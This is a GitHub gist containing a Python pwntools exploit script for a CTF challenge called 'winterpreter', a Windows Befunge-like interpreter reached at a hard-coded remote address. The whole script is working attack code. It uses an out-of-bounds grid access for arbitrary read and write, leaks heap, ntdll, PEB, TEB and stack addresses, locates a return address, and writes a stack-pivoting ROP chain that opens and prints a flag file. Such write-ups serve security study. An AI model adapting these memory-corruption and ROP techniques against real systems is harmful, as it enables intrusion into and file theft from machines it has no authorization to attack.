Skip to content

Instantly share code, notes, and snippets.

@m1ghtym0
Created February 9, 2020 02:09
Show Gist options
  • Save m1ghtym0/1e792695c46f8f031a841a53caac1ae9 to your computer and use it in GitHub Desktop.
Save m1ghtym0/1e792695c46f8f031a841a53caac1ae9 to your computer and use it in GitHub Desktop.
winterpreter
#!/usr/bin/env python2
from pwn import *
import sys
import struct
BINARY = './winterpreter.exe'
IS_REMOTE = True
H,P = ('183.107.102.15', 54321)
if not IS_REMOTE:
H,P = ('172.27.132.135', 54321)
LEVEL = 'INFO'
#LEVEL = 'DEBUG'
# Set context for asm
context.clear()
context(os='windows', arch='amd64', bits=64)
context.log_level = LEVEL
context.terminal = ['tmux', 'splitw', '-h']
r = remote(H,P)
step_count = 0
def init(rows, lines, code):
r.sendline(str(rows)+ '\r')
r.sendline(str(lines)+ '\r')
for line in code:
r.sendline(line + '\r')
def read_menu():
return r.recvuntil('> ')
def run():
r.sendlineafter("> ", "run")
def stop():
r.sendlineafter("> ", "stop")
def stack():
r.sendlineafter("> ", "stack")
def pc():
r.sendlineafter("> ", "pc")
print(r.recvline())
def step(count):
global step_count
step_count += count
assert(step_count < 0x10000)
r.sendlineafter("> ", "step {}".format(count))
def cycle(count):
r.sendlineafter("> ", "cycle {}".format(count))
# TEST
# code = []
# code.append("11+ v")
# code.append("v+11<")
# code.append(">11+v")
# code.append("v+11<")
# code.append(">+++,@")
# init(6, 5, code)
# run()
# step(5)
# step(5)
# step(5)
# step(5)
# step(5)
# print("Printed: " + hex(ord(r.recv(1))))
# step(1)
# r.recvline()
# print(r.recvline())
# Setup
code = []
code.append("v >>>>>>>>" + ">>>>>>>v") # 0
code.append("v ^>>>>>>>" + ">>>>>>vv") # 1
code.append("v ^^>>>>>>" + ">>>>>vvv") # 2
code.append("v ^^^>>>>>" + ">>>>vvvv") # 3
code.append("v ^^^^>>>>" + ">>>vvvvv") # 4
code.append("v ^^^^^>>>" + ">>vvvvvv") # 5
code.append("v ^^^^^^>>" + ">vvvvvvv") # 6
code.append(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>v>v>v>v>v ^^^^^^^>" + "vvvvvvvv") # 7 A
code.append(" ' ' ' ' ' &&&&&&&&" + "ssssssss") # 8 B
code.append("") # 9 target
code.append(" ' ' ' 'v ########" + "########") # 10 C
code.append(" >^>^>^>^v @@@@@@@@" + "@@@@@@@@") # 11 D <----- for read/write
code.append(" >>>>>>>>>>v >$$$$$$$$$>>>v ########" + "########") # 12
code.append(" ^$$$$$$$$<v v ^^^^^^^^" + "<<<<<<<<") # 13
code.append("v >&&g&&g&&g&&g&&g&&g&&g&&g^>>>>>>>>>v v ^^^^^^^<" + "<vvvvvv ") # 14
code.append(">&| >>>>>>>>>>>>>>>>v ^^^^^^<<" + "<<vvvvv ") # 15
code.append("^ >&&&p&&&p&&&p&&&p&&&p&&&p&&&p&&&p>>^ v ^^^^^<<<" + "<<<vvvv ") # 16
code.append("^ v ^^^^<<<<" + "<<<<vvv ") # 17
code.append("^ v ^^^<<<<<" + "<<<<<vv ") # 18
code.append("^ v ^^<<<<<<" + "<<<<<<v ") # 19
code.append("^ v ^<<<<<<<" + "<<<<<<<0") # 20
code.append("^ > " + " 1|") # 21
code.append("^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< " + " $<") # 22
assert(len(code) < 25)
# 1. Leak heap: Use out-of-bounds access in target to leak D's data pointer
init(80, len(code), code)
run()
step(8 + 32 + 8*4)
stack()
r.recvline() # Stack Dump
heap_addr = ""
for i in range(8):
heap_addr += r.recvline().strip('\n\r')
heap_addr = int(heap_addr, 0x10)
log.info("Leaked heap addr %s" % hex(heap_addr))
# heap_offset = 0xf970
# heap_base = heap_addr - heap_offset
heap_base= heap_addr & ~0xffff
log.success("Heap base %s" % hex(heap_base))
step(19)
# 2. Leak a bunch of stuff by overwriting D's data pointer with the out-of-bounds access in target
def set_addr(addr):
enc = p64(addr)
for b in enc:
r.sendline(str(ord(b)))
def read():
r.sendline('1')
for i in range(8):
r.sendline(str(i)) # row
r.sendline(str(11)) # line
def write(value):
enc = p64(value)
r.sendline('0')
for i in range(8):
r.sendline(str(ord(enc[i]))) # value
r.sendline(str(i)) # row
r.sendline(str(11)) # line
def read_stack():
stack()
r.recvline() # Stack Dump
addr = ""
for i in range(8):
addr += r.recvline().strip('\n\r')
return int(addr, 0x10)
def do_read(addr):
step(415)
set_addr(addr)
step(29)
read()
val = read_stack()
step(20+2+10+16)
return val
def do_write(addr, value):
step(415)
set_addr(addr)
step(55)
write(value)
ntdll = do_read(heap_base + 0x2c0) # ntdll
log.info("ntdll leak: {}".format(hex(ntdll)))
off2ntdll = -0x163cb0
ntdll = ntdll + off2ntdll
log.info("ntdll @ {}".format(hex(ntdll)))
off2peb = 0x165308
peb = do_read(ntdll+off2peb) - 0x80 # peb
log.info("peb @ {}".format(hex(peb)))
off2teb = 0x1000
teb = peb + off2teb
log.info("teb @ {}".format(hex(teb)))
off2stack = 0x10+1
stack_start = do_read(teb+off2stack) << 8 # stack
log.info("stack @ {}".format(hex(stack_start)))
off2binary = 0x10
binary_base = do_read(peb+off2binary) # binary
log.info("binary_base @ {}".format(hex(binary_base)))
stack_end = stack_start + (0x10000 - (stack_start & 0xffff))
log.info("stack_end @ {}".format(hex(stack_end)))
ret_addr = binary_base + 0x8B34
log.info("ret_addr @ {}".format(hex(ret_addr)))
off2memcpy = 0xA2A8 #memcpy
malloc = do_read(binary_base+off2memcpy) # binary
log.info("malloc @ {}".format(hex(malloc)))
off2ucrt = -0xC9E0
ucrt = malloc + off2ucrt
log.info("ucrt @ {}".format(hex(ucrt)))
# search for ret addr on the stack
ret = 0
start = stack_end - 0x200
for i in range(0x1000/8):
addr = start - 8*i
print(i)
v = do_read(addr)
if v == ret_addr :
ret = addr
print("found!")
break
log.info("ret: %s" % hex(ret))
if ret == 0 :
sys.exit()
count_addr = ret-0x28-0x248+0x1f4-8
log.info("count: %s" % hex(count_addr))
current_count = do_read(count_addr)
do_write(count_addr, current_count & ~0xffffffff)
# write flag string on the stack
filename_addr = stack_end-0x20
flag_content_addr = stack_end-0x120
do_write(filename_addr, u64("./flag.t"))
do_write(filename_addr+8, u64("xt\0\0\0\0\0\0"))
# rop-chain: open,read,write flag
rop = []
rop.append(ntdll + 0x8fb37) # pop rdx; pop r11 ;ret
rop.append(0x0)
rop.append(0x0) # junk
rop.append(ntdll + 0x9217b) #: pop rcx ; ret
rop.append(filename_addr)
rop.append(ucrt + 0xA2A30) # fopen
rop.append(ntdll + 0x9ec3d) # add rsp 0x78
rop.append(ntdll + 0x2010b) #: pop r8 ; ret
rop.append(0x61)
rop.append(ntdll + 0x57642) #: pop rdx ; ret
rop.append(flag_content_addr)
rop.append(ntdll + 0x9217b) #: pop rcx ; ret
rop.append(0x3)
rop.append(ucrt + 0x16270) # read
rop.append(ntdll + 0x9ec3d) # add rsp 0x78
rop.append(ntdll + 0x2010b) # : pop r8 ; ret)
rop.append(0x100)
rop.append(ntdll + 0x57642) #: pop rdx ; ret
rop.append(flag_content_addr)
rop.append(ntdll + 0x9217b) #: pop rcx ; ret)
rop.append(0x1)
rop.append(ucrt + 0x15BF0) # write
# we need to pivot ...
rop_start = stack_start+0x100+8
g = ntdll + 0x30f2 #: pop rsp ; ret
do_write(ret, g)
do_write(ret+8, rop_start)
offset = 0
for i, g in enumerate(rop):
if i == 7 or i == 15:
offset += 0x78
do_write(rop_start+i*8+offset, g)
r.sendline('quit')
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment